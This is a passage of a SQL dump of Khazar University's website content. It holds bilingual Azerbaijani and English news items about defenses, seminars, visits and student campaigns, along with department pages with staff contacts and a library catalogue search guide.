Khazar University  Philosophy department held preliminary defense of PhD candidate...','<p>On December 19, 2017, Khazar University&nbsp; Philosophy department held preliminary defense of PhD candidate Mahammad Akbarov on “Theory of Law in Plato’s Philosophy”. The professor of the Baku State University Farman Ismayilov, associates from&nbsp; the Institute of Philosophy of ANAS, Professor Alikram Tagiyev and Dr. Sholet Zeynalov, head of the Division of Graduate Studies and Research Dr. Eldar Shahgaldiyev, head of Psychology department Melek Kerimova, Vice-dean of the School of Humanities and Social Sciences Valide Kerimova participated in the defense. The candidate acquainted the participants with the results of the research focusing on the concept of justice and its essence in Plato’s theory of Law.  </p>'),(5461,3151,'az','NASA-nın keçmiş əməkdaşı Xəzər Universitetində oldu','2018-ci il aprelin 27-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p>2018-ci il aprelin 27-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı NASA-nın keçmiş əməkdaşı, hazırda “Mersedes-Benz” şirkətinin əməkdaşı, aerokosmik mühəndis, riyaziyyatçı, robotlaşdırma və avtomatlaşdırma üzrə mütəxəssis və sahibkar Dr. Teymur Sadıxovu qəbul etdi. Qəbul zamanı Xəzər Universiteti ilə gələcək plan və fəaliyyətlər müzakirə edildi.</p><p>Daha sonra Psixologiya departamentinin müəllimi Nilufər Əlizadənin təşkilatçılığı ilə Teymur Sadıxov Xəzər Universitetinin əməkdaşları və tələbələri üçün “Avtomatlaşdırma, robotlaşdırma və suni intellekt” mövzusunda seminar keçirdi.</p><p>Seminarın sonunda T.Sadıxov çoxsaylı sualları cavablandırdı.</p>'),(5462,3151,'en','Former NASA associate visits Khazar University','On April 27, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University...','<p>On April 27, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, received Dr Teymur Sadikhov, former NASA associate and “Mercedes-Benz” associate, aerospace engineer, mathematician, robotization and automation specialist and entrepreneur. Future collaboration and plans with Khazar University were discussed during the meeting.</p><p>Then, on organizational support by Nilufar Alizadeh, instructor of the Department of Psychology, Dr Teymur Sadikhov conducted a seminar on “Autonomous Driving, Robotics and AI”, and answered participants’ questions.</p>'),(5463,3152,'az','Xəzər Universitetində THE SAME-in məlumat günü','2018-ci il aprelin 26-da THE SAME komandası Xəzər Universitetində məlumat günü keçirdi...','<p>2018-ci il&nbsp;aprelin 26-da THE SAME komandası Xəzər Universitetində məlumat günü keçirdi. Komanda üzvləri kampaniyaları və məqsədləri haqqında məlumat verdilər. Tədbirin məqsədi Xəzər Universitetinin tələbələri üçün daha çox məlumat vermək, daha çox tərəfdaşlar əldə etmək və komanda haqqında dəqiq məlumat yaymaq idi. Həmçinin, komanda “Sticker Challenge” müsabiqələrini elan etdi. Müsabiqəyə əsasən komanda irçiliklə mübarizə aparmağı qarşısına məqsəd qoymuşdur. Məqsədli auditoriya səssiz gənc nəsildir.</p>  <p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.<br></p>'),(5464,3152,'en','Info Day of THE SAME at Khazar University','On April 26, 2018, THE SAME held an info session day at Khazar University...','<p>On April 26, 2018, THE SAME held an info session day at Khazar University. Members of Team gave information about their campaign and their purpose. The purpose of this event is informing more people, getting more supporters and publishing clear information about Team THE SAME for students of Khazar University. Also, the team announced their “Sticker Challenge” competition as well. Based on this challenge the team aimed to fight racism in society as an online hate speech. The target audience is the silent young generation.</p><p>More information is available through the following links:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;  <br></p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.<br></p>'),(5465,3153,'az','Xəzər Universitetinin əməkdaşı Türkiyənin Ülke TV televizya kanalının “Odak noktası” proqramının qonağı oldu','2018-ci il aprelin 25-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi...','<p>2018-ci il aprelin 25-də Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi Dr. Telman Quliyev Türkiyənin Ülke TV televizya kanalının “Odak noktası” proqramının canlı yayın qonağı oldu. T.Quliyev proqramda Azərbaycan torpaqlarında erməni dövlətinin yaradılması prosesindən, 1828-ci il “Türkmənçay” müqaviləsi sonrasında ermənilərin kütləvi şəkildə İran və Osmanlı ərazilərindən gətirilərək, İrəvan xanlığı torpaqlarına yerləşdirilməsindən və daha sonra da o torpaqların əsl sahibi olan Müsəlman-Türk əhalinin mərhələli şəkildə ordan köç etməyə məcbur edilməsindən söz açdı. Dr. Telman Nüsrətoğlu, eyni zamanda, erməni terror təşkilatlarının 1905-1907-ci, 1918-ci illərdə Azərbaycanın fərqli bölgələrində mülki əhaliyə qarşı törətdiyi qətliamlar haqqında da televiziya tamaşaçılarına məlumat verdi.</p>'),(5466,3153,'en','Khazar University associate on TV broadcast in Turkey  On April 25, 2018, Dr Telman Guliyev, instructor of the Department','On April 25, 2018, Dr Telman Guliyev, instructor of the Department of History...','<p>On April 25, 2018, Dr Telman Guliyev, instructor of the Department of History and Archeology of Khazar University, participated in “Odak noktası” live broadcast of Ülke TV of Turkey. Dr Telman Guliyev talked about the establishment of an Armenian state in the territory of Azerbaijan, massive immigration of Armenians from Iran and the Ottoman Empire to Iravan Khanate after Turkmenchay Treaty in 1828, and immigration of Muslim-Turkish people from their motherland. Moreover, Dr Telman Guliyev talked about massacre committed by Armenian terror organizations against civilians in various regions of Azerbaijan in 1905-1907, and in 1918.  </p>'),(5467,3154,'az','“Azərbaycan tarixi”ndən növbəti dərs Milli Azərbaycan Tarixi Muzeyində keçirildi','2018-ci il aprelin 26-da “Azərbaycan tarixi” dərsi (B) qrupunun tələbələri ilə növbəti dərs...','<p>2018-ci il aprelin 26-da “Azərbaycan tarixi” dərsi (B) qrupunun tələbələri ilə növbəti dərs Milli Azərbaycan Tarixi Muzeyində keçirildi. Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi t.ü.f.d. Səbuhi Əhmədovun apardığı dərsdə tələbələr muzeyin daimi ekspozisiyası ilə ilə tanış oldular. Onlara Azərbaycanın qədim və orta əsrlər dövrü tarixinin şanlı səhifələri haqqında məlumat verildi. Muzeyin bələdçisi Günay Gülməmmədova Azərbaycan dövlətçiliyinin inkişaf xəttini tarixi eksponatlar vasitəsilə əyani olaraq nümayiş etdirdi.</p><p>Dərsin sonunda Səbuhi Əhmədov tələbələrin suallarını cavablandırdı.</p>'),(5468,3154,'en','A lesson in a museum','On April 26, 2018, a lesson was organized at National Museum of Azerbaijan History...','<p>On April 26, 2018, a lesson was organized at National Museum of Azerbaijan History for students of “History of Azerbaijan”. The lesson was conducted by Sabuhi Ahmadov, PhD in History and instructor of the Department of History and Archaeology. During the lesson, students got acquainted with a permanent exhibition of the museum as well as the glorious times of the ancient and medieval history of Azerbaijan. Gunay Gulmammadova, guide of the museum, demonstrated historical exhibition on the development of statehood of Azerbaijan. At the end, Sabuhi Ahmadov answered students questions.</p>'),(5469,3155,'az','Doktorant Respublika Elmi-Praktik Konfransında çıxış etdi','2018-ci il aprelin 26-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin...','<p>2018-ci il aprelin 26-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimova (doktorant) “N.Çomskinin dilçilik araşdırmalarının mahiyyəti” adlı elmi məqaləsi ilə Bakı Slavyan Universitetində təşkil edilmiş, Azərbaycan Xalq Cümhuriyyətinin yaranmasının 100 illiyinə həsr olunmuş Respublika Elmi-Praktik Konfransında məruzə ilə çıxış etdi. Məruzəsində apardığı tədqiqat işi (“N.Çomskinin sintaktik təlimində cümlənin alt və üst qat anlayışı”), onun mahiyyəti, elmi yeniliyi, Azərbaycan dilçiliyində N.Çomskinin rolu, N.Çomskinin dilçilik görüşləri və s. haqqında iştirakçılara ətraflı məlumat verdi. Konfransda fakültənin 4-cü il Beynəlxalq münasibətlər ixtisası üzrə təhsil alan tələbəsi Sabrina Ramazanova da “Depressiya və suisid” adlı məruzəsi ilə çıxış etdi. O, məruzəsində depressiya suisidlə necə nəticələnir, əsasən hansı yaşlarda daha çox rastlanır, səbəbləri və qurtuluş yolları haqqında geniş məlumat verdi.</p><p>Sonda iştirakçılar məqalələr çap edilmiş toplu və sertifikatla təltif edildilər.</p>'),(5470,3155,'en','PhD student at Scientific Conference','On April 26, 2018, Valida Karimova, Vice-dean of the School of Humanities...','<p>On April 26, 2018, Valida Karimova (PhD student), Vice-dean of the School of Humanities and Social Sciences, delivered a report on “The essence of N. Chomsky\'s linguistic research” in National Scientific and Practical Conference, held at Baku Slavic University, dedicated to 100th anniversary of Azerbaijan Democratic Republic. Valida Karimova gave detailed information on her research topic (\"The concept of lower and upper layers of the sentence in N.Comsky\'s syntactic study\"), its essence, N.Comsky\'s role in Azerbaijani linguistics, and N.Comsky\'s views on linguistics. In the conference, Sabrina Ramazanova, Khazar University student, also delivered a report on “Depression and suicide”. Within the report, she talked about a relation between depression and suicide, main reasons for suicide, and methods for avoiding suicide.</p><p>At the end of the conference, participants were presented with certificates and proceedings of conference materials.</p>'),(5471,3156,'az','Beynəlxalq Avrasiya Mətbuat Fondunun prezidenti “THE SAME” komandası ilə görüşdü','2018-ci il aprelin 24-də “THE SAME” komandasının üç üzvü, İqtisadiyyat və menecment...','<p>2018-ci il aprelin 24-də “THE SAME” komandasının üç üzvü, İqtisadiyyat və menecment fakültəsinin tələbələri Beynəlxalq Avrasiya Mətbuat Fondunun (BAMF) prezidenti Umud Mirzəyev ilə görüşdülər. Görüşdə komandanın yaranması, məqsədi və gələcək planları müzakirə olundu.</p><p>Görüş zamanı komandanın gördüyü işlər, hazırkı dövrdə ideyanın cəmiyyət üçün vacibliyi xüsusi vurğulandı və irqçiliyin həlli yolları, eləcə də, bu istiqamətdə internet üzərindən yayılan nifrət mesajlarının azalması üçün işlərin görülməsinə ehtiyac olunduğu qeyd edildi. Bir saat davam edən görüşün sonunda isə Umud Mirzəyev tələbələrin bu təşəbbüsünü yüksək dəyərləndirdiyini və onlara bu işdə dəstək olmağa hazır olduğunu bildirdi. Komanda üzvləri Beynəlxalq Avrasiya Mətbuat Fondu ilə yaxından tanış oldular və görüşə görə onlara öz minnətdarlıqlarını bildirdilər.</p><p>Görüş haqqında daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://eurasiadiary.com/az/news/society/274894-beynelxalq-avrasiya-metbuat-fondunun-prezidenti-the-same-komandasinin-uzvleri-ile-gorusub;\">http://eurasiadiary.com/az/news/society/274894-beynelxalq-avrasiya-metbuat-fondunun-prezidenti-the-same-komandasinin-uzvleri-ile-gorusub;</a></p><p><a href=\"http://eurasiadiary.com/en/news/society/274878-iepf-president-meets-with-the-same-team\">http://eurasiadiary.com/en/news/society/274878-iepf-president-meets-with-the-same-team</a>.<br></p>'),(4863,2856,'en','Announcement','Announcement','<p mso-margin-top-alt:auto;text-align:center;text-indent:1.0cm;line-height:normal;margin-bottom:auto\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\"><br></p>'),(4653,2754,'en','Coordinator of the Center for Students with Disabilities attended a conference','Rima Mammadova, coordinator of the Center for Students with Disabilities of Khazar University attended a conference entitled...','<p>Rima Mammadova, coordinator of the Center for Students with Disabilities of Khazar University attended a conference entitled “Enhancing Employability Skills for People with Disabilities” on December 19, 2017. The Conference was organized by British Council Azerbaijan, Bakcell LLC and British Embassy in Azerbaijan. The main objective of the conference was to bring business companies together and present best practices in business world in the area of employment prospects for people with disabilities. UK expertise in employing people with disabilities was presented by Mark Gray, specialist working in this specific area, as well as supporting people with disabilities with employment opportunities</p>'),(4654,2762,'az','Təsərrüfat şöbəsi','Təsərrüfat şöbəsi','<p>Xəzər Universitetinin təsərrüfat şöbəsinin öhdəlikləri aşağıdakılardır:</p><p>1.&nbsp;Xəzər Universitetinin maddi-texniki bazasına məsul şəxs olaraq inventar və texniki vasitəslərə maddi məsuliyyət daşımaq</p><p>2. Texniki heyətin əmək fəaliyyətinə nəzarət edilməsi (səliqə-səhman, təmizlik, tabel, iş qrafiklərinin təsdiqi)</p><p>3. Əmək öhdəliklərinin yerinə yetirilməsi üçün texniki işçiləri tələb olunan vasitələrlə təmin edilməsi</p><p>4. Binanın dizaynının təmin edilməsi və nəzarət&nbsp;edilməsi  </p><p>5.&nbsp;Xəzər Universitetinin yaşıllaşdırma işləri ilə məşğul olunması və&nbsp;nəzarət&nbsp;edilməsi    </p><p>6.&nbsp;Universitetin bütün&nbsp;tədbirlərində texniki xidmət göstərilməsi  </p><p>7.&nbsp;Universitetin işçilərinin dəftərxana ləvazimatları ilə təchiz edilməsi və onların istifadəsinə&nbsp;nəzarət edilməsi</p><p>8.&nbsp;Universitetin bütün şöbə və auditoriyalarında təmirə ehtiyacı olan əşyaların, şöbənin nəzarəti altında təmir olunması</p><p>9. Anbarın idarə edilməsi</p><p>10. Yataqxanaya gələn təsərrüfat mallarının qəbulu və göndərilməsi</p><p><br></p><h3>Əlaqə</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Malayka_Huseynova_CV.pdf\"><img src=\"/files/letters/Malayka_Huseynova.jpg\" style=\"width:150px;height:173px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Məleykə Hüseynova</a></strong></p><p><strong>Təsərrüfat işləri üzrə menecer</strong></p><p><strong>Telefon:&nbsp;</strong>(+994 12) 421 10 93 (265)  </p>'),(4655,2763,'az','“CanSat Azərbaycan-2018” tələbə peyki müsabiqəsinin təqdimatı','2017-ci il dekabrın 20-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün “Azərkosmos” ASC-nin...','<p>2017-ci il dekabrın 20-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün “Azərkosmos” ASC-nin və Təhsil Nazirliyinin təşkilatçılığı ilə keçiriləcək “CanSat Azərbaycan-2018” tələbə peyki müsabiqəsinin təqdimatı keçirildi. “Azərkosmos” ASC-nin Korporativ kommunikasiya departamentinin aparıcı mütəxəssisi Fidan Behbudova müsabiqə haqqında məlumat verərək qeyd etdi ki, kosmik texnologiyalar sahəsində universitet tələbələrinin motivasiya və inkişafına yönəlmiş Beynəlxalq CanSat müsabiqəsi NASA, Amerika Astronomiya Cəmiyyəti (AAS), Amerika Aviasiya və Kosmik Elmlər İnstitutu (AIAA), eləcə də, kosmik sektorda aparıcı qurumların dəstəyi ilə 1998-ci ildən etibarən hər il keçirilir. 2018-ci ildən etibarən bu müsabiqənin Azərbaycanda da keçirilməsi planlaşdırılır. “CanSat Azerbaijan” adlandırılacaq bu müsabiqə ali təhsil müəssisələrinin tələbələri üçün nəzərdə tutulur. Müsabiqənin məqsədi tələbə peyki layihələrinə marağın daha da artırılması və azərbaycanlı tələbələr arasında kütləviləşdirilməsi, Azərbaycanın beynəlxalq analoji müsabiqələrdə daha çox və təcrübəli komandalarla təmsil olunması və uğurlu nəticələrin əldə edilməsi, gələcəkdə nano və digər real peyklərin ölkəmizdə məhz yerli mütəxəssislər tərəfindən hazırlanması üçün təcrübi bacarıq və vərdişlərin əldə edilməsidir.</p><p>Təqdimatın sonunda “Azərkosmos” ASC-nin nüməyəndələri tələbələrin müsabiqə ilə bağlı suallarını cavablandırdı.</p><p>Müsabiqə haqqında daha ətraflı məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"http://cansat.az/\">http://cansat.az/</a>.</p>'),(4657,2765,'az','Xəzər Universitetinin əməkdaşının elmi məqaləsi çap olundu','Azərbaycan Milli Elmlər Akademiyasının “Xəbərlər (Humanitar elmlər)” jurnalı 2017-ci ildəki son buraxılışında...','<p>Azərbaycan Milli Elmlər Akademiyasının “Xəbərlər (Humanitar elmlər)” jurnalı 2017-ci ildəki son buraxılışında (№2) Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “Çağdaş Azərbaycan şeirində xalq arxetipi və xalq yaradıcılığı problemi” adlı məqaləsinə də yer ayırmışdır.</p><p>Məqalədə vətəndaşlıq lirikasının mənbəyi kimi şairin tərənnüm etdiyi xalq, mənsub olduğu millət göstərilir. Qeyd edilir ki, milli dəyərlərdən kənarda qalan şair vətəndaş ola bilməz. Bildirilir ki, M.Araz, S.Tahir AzərAzər və M.İsmayıl lirikasının mənbə və qaynaqları xalq mövzusu (arxetipi) və folklorumuz kontekstində araşdırılmayıb, bu mövzu elmi şəkildə öz həllini gözləyən məsələlərdəndir. Məqalə bu istiqamətdə atılmış ilk addımlardan sayıla bilər. Məqalədə vətəndaşlıq lirikasının ən yaxşı nümunələri mövzu obyektinə çevrilir; bayatı, gəraylı, qoşma formasında yazılmış poetik seçmələr misal gətirilməklə, həmin parçaların nağıl, dastan və qəhrəmanlıq eposlarına məxsus xüsusiyyətləri qısaca nəzərdən keçirilir, həmçinin, totemlərə ehtiramın, yeri gəldikcə, xalq qəhrəmanlarına müraciətin M.Araz, S.Tahir AzərAzər və M.İsmayıl lirikasının başlıca keyfiyyəti kimi üzə çıxdığı vurğulanır.</p><p>Məqalə ilə <strong><a href=\"/files/letters/Qardashxan-Xeberler_2017-2.pdf\">bu linkdə</a></strong> tanış ola bilərsiniz.</p>'),(5221,3029,'az','Doktorantura və Magistratura Tələbə Birliyinin növbəti seminarı oldu','2018-ci il martın 9-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin seminarı...','<p>2018-ci il martın 9-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin seminarı “Humanitar elmlərdə istifadə olunan tədqiqat metodları”na həsr olunmuşdu. Seminarın məruzəçisi Xəzər Universiteti Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova təcrübəsini iştirakçılarla bölüşdü. Bu seminarda tədqiqat metodlarında istifadə olunan keyfiyyət və kəmiyyət yanaşmalarından bəhs olundu.</p><p>Sonda iştirakçıların sualları cavablandırıldı.</p>'),(4658,2766,'en','Repair and Construction Office','Repair and Construction Office','<p>Department of Repair, Construction and Supply of Khazar University deals with repair, construction and supply, which meet modern requirements and standards, of several campuses, dormitory and leisure places located in various parts of the city. The following information is about activities of the department which have been realized since the establishment of the university.</p><p>Old building of the university, located in 41 Mehseti St., Nizami district, was reconstructed in 1995 in accordance with contemporary standards. Moreover, the department still takes cares of the building by eliminating damages.</p><p>Conference-concert hall of the university building, situated in 122 B.Safaroghlu St, Yasamal district, was constructed in 2001-2002.</p><p>The new building of the Neftchiler campus was constructed through direct participation of the department in 2008-2009.</p><p>A campus consisting of four buildings for the University and “Dunya” school, affiliated with the University, were built in 9 A.Nakhchivani St., Binagadi district, in 2014-2015.</p><p>A great construction is currently being built by the department, which is situated on the seashore in Buzovna settlement, Khazar district, to be further used for conducting conference and seminars as well as for organizing leisure activities for the university staff. The construction is planned to be completely ready in spring, 2018.</p>\r\n<p><br></p><h3>Contacts<br></h3><img src=\"http://www.khazar.org/files/letters/shahin_i.JPG\" style=\"float:left;width:150px;height:148px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/letters/Shahin_Isayev_CV%20(1).pdf\">Shahin Isayev</a></strong></p><p><strong>Director of&nbsp;Repair and Construction Office  <br></strong></p><p><strong>E-mail: </strong><a href=\"mailto:shisayev@khazar.org\">shisayev[at]khazar.org</a>  <a href=\"http://mailto:shisayev@khazar.org\"></a></p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (218)  </p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/CV_umid_a.pdf\"><img src=\"/files/letters/umid_a.jpg\" style=\"width:150px;height:215px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Umid Alizada</a></strong></p><p><strong>Assistant</strong></p><p><strong style=\"font-weight:bold\">E-mail:&nbsp;</strong>  <a href=\"mailto:aumid@khazar.org\">aumid[at]khazar.org</a><br></p><p><br></p><p><br></p><p><br></p>'),(4659,2766,'az','Təmir-tikinti şöbəsi','Təmir-tikinti şöbəsi','<p>Xəzər Universitetinin Təmir, tikinti və təchizat\r\nşöbəsi, Universitetin, şəhərin müxtəlif yerlərində yerləşən bir neçə tədris\r\nkorpusları, yataqxana binası və dincəlmə məkanlarının əsaslı tikintisi, əsas təmiri,cari\r\ntəmiri və təhsilin yüksək səviyyədə keçirilməsi üçün müasir tələblərə və\r\nstanadartlara cavab verən tədris avadanlıqlarının təchizatı ilə&nbsp; məşğul olur. Xəzər universitetinin\r\nyaranmasından bu günə qədər şöbəmizin gördüyü əsaslı işlər qısaca olaraq təqdim\r\nedirik. </p>\r\n<p>1995-ci tədris ili üçün, Şəhərin Nizami\r\nrayonunda, Məhsəti küçəsi 41-də yerləşən Neftçilər kampusunun əski binasını\r\nmüasir standartlara cavab verən şəkildə təmir etmiş hər il binanın müxtəlif\r\nyerlərində yarana xırda çatışmazlıqları ən qısa zamanda aradan qaldırır.</p>\r\n<p>2001/2002-ci tədris ili üçün, şəhərin Yasamal\r\nrayonunda, B.Səfəroğlu küçəsi 122-də yerləşən tədris korpusu və\r\nKonfrans-konsert salonu inşa edilərək istifadəyə verilmişdir.</p>\r\n<p>2008/2009-cu tədris ili üçün Neftçilər\r\nkampusunun yeni tədris binası bizim şöbənin bilavasitə iştirakı ilə inşa edilərək\r\nistifadəyə verilmişdir.</p>\r\n<p>2014/2015-ci tədris ili üçün şəhərin Binəqədi\r\nrayonunda, Ə.Naxçıvani 9 ünvanında, Universitetin və Universitetin nəzdində\r\nyaranmış Dünya məktəbi üçün dörd binadan ibarət tədris kampusu inşa edilərək\r\nistifadəyə verilmişdir .</p><p>Hal-hazırda isə Şəhərin Xəzər rayonu ərazisində,\r\nBuzovna qəsəbəsində, Dəniz kənarıda, Universitet və Dünya məktəbinin müxtəlif\r\nsəpkili tədbirlərinin, konfrans və seminarlarının keçirilməsi üçün, İşçilərimizin\r\nboş vaxtlarını səmərəli keçirmələri və dincəlmələri üçün möhtəşəm kompleksin\r\ninşası üzərində işlər gedir. Kompleksin tam təhvili&nbsp;2018-ci ilin yaz ayları\r\nüçün planlaşdırılır.</p><h3><br></h3><h3>Əlaqə</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Shahin_Isayev_CV%20(1).pdf\"><img src=\"/files/letters/shahin_i.JPG\" style=\"float:left;width:150px;height:148px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Şahin İsayev</a></strong></p><p><strong>Təmir-tikinti şöbəsinin müdiri<br></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:shisayev@khazar.org\">shisayev[at]khazar.org</a>  <a href=\"http://mailto:shisayev@khazar.org\"></a></p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (218)  </p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/CV_umid_a.pdf\"><img src=\"/files/letters/umid_a.jpg\" style=\"width:150px;height:215px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ümid Əlizadə</a></strong></p><p><strong>Assistent</strong></p><p><strong style=\"font-weight:bold\">E-mail:&nbsp;</strong>  <a href=\"mailto:aumid@khazar.org\">aumid[at]khazar.org</a><br></p>'),(4660,2746,'en','Seminar-conference on scientific writing, publication and ethics of research was held at Khazar University','On December 14, 2017, invited speaker Dr. Mehrdad Jalalian Hosseini delivered a lecture entitled “An overview of scientific...','<p>On December 14, 2017, invited speaker Dr. Mehrdad Jalalian Hosseini delivered a lecture entitled “An overview of scientific writing and ethics of publishing research”. The seminar was attended by Dr. Hassan Niknafs, rector of Khazar University, research associate professor Irada Khalilova, Vice-Rector for Research, Dr. Saida Khanmamedova, associate professor of department of Therapeutic and Pediatric of Propaedeutics of Azerbaijan Medical University, Dr. Hafiz Osmanov, assistant professor of Biochemistry department of Azerbaijan Medical University, Dr. Malahat Gakhramanova, head of the “Nargiz” clinic, Ph.D. and master students from different departments.\r\nThe seminar-conference consisted of two parts. Dr. Mehrdad Jalalian Hosseini, delivering a speech in the first part, gave detailed information on how to write effective abstract, and in the second part about how to apply important principles in formal journal articles. During the seminar, active and broad discussions were held on different ways of effective writing methods.\r\nDr. Mehrdad Jalalian Hosseini is an Editor-in-Chief of Electronic Physician Journal (PubMed indexed) and a Founder of Mehr Publishing. He has conducted numerous seminars and workshops in a number of countries and has also acted as an invited key speaker in medical conferences. His areas of expertise are publishing ethics, scientific writing, and maximizing publications in academic research.</p>'),(5043,2937,'en','OPAC Guide','OPAC Guide','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\"><strong>Web Collection</strong>&nbsp;OPAC supports basic\r\nsearch methods that allow you to browse thought specific indexes in the library\r\ndatabase for the closest match to your search.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\">1. Type the appropriate search term or phrase\r\nfor your search type, and select appropriate Icon.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\">For example:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;line-height:normal;background:white\"=\"\"><br></p><ul><li><strong>Subject</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for a book on subject Strategic Management, type\r\nstrategic management and click Icon Subject.<br>\r\n&nbsp;</p>\r\n<br><ul><li><strong>Title</strong></li></ul><br>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\">To\r\nsearch for a book on title The Story of Art, type story of art and click Icon\r\nTitle.<br>\r\n&nbsp;</p>\r\n<br><ul><li><strong>Author</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for any books written by Brigham, type brigham and\r\nclick Icon Author.</p>\r\n<br><ul><li><strong>Series</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for a booking the series, The World Bank, type World\r\nBank and click Icon Series.</p>\r\n<br><ul><li><strong>Call number</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for an item with the call number 330.MACC, type 330\r\nmacc, and click Icon Call number.</p>\r\n<br><ul><li><strong>Power search</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">Power search provides a flexible keyword-searching tool. Power\r\nsearch, an advanced keyword-searching tool, allows users to search for several\r\nwords or phrases, using Boolean terms AND, OR and BUT, NOT and wildcards.</p>\r\n<br><ul><li><strong>Using the Bookbag</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;line-height:normal;background:white\"=\"\">Users can collect the titles that interest them, and then edit\r\nand print or save the list. You can also sort the report by Title-Author or\r\nAuthor-Title. Deletes the selected title, or empties the Bookbag. The Bookbag\r\ninformation is printed or saved in bibliographic format.</p>\r\n<br><ul><li><strong>Printing search results</strong></li></ul>\r\nOPAC allows patrons to print selection lists and brief or full records. This\r\noption is available when selected in setup. While viewing a selection list or\r\nRecord Display dialog box, select File/Print.'),(5044,2937,'az','OPAC bələdçi','OPAC bələdçi','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\"><strong>Web Collection</strong>&nbsp;OPAC supports basic\r\nsearch methods that allow you to browse thought specific indexes in the library\r\ndatabase for the closest match to your search.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\">1. Type the appropriate search term or phrase\r\nfor your search type, and select appropriate Icon.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\">For example:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;line-height:normal;background:white\"=\"\"><br></p><ul><li><strong>Subject</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for a book on subject Strategic Management, type\r\nstrategic management and click Icon Subject.<br>\r\n&nbsp;</p>\r\n<br><ul><li><strong>Title</strong></li></ul><br>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"=\"\">To\r\nsearch for a book on title The Story of Art, type story of art and click Icon\r\nTitle.<br>\r\n&nbsp;</p>\r\n<br><ul><li><strong>Author</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for any books written by Brigham, type brigham and\r\nclick Icon Author.</p>\r\n<br><ul><li><strong>Series</strong></li></ul><br>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal;background:white\"=\"\">To search for a booking the series, The World Bank, type World\r\nBank and click Icon Series.</p>\r\n<br><ul><li><strong>Call number</strong></li></ul><br>\r\n<p style=\"\" 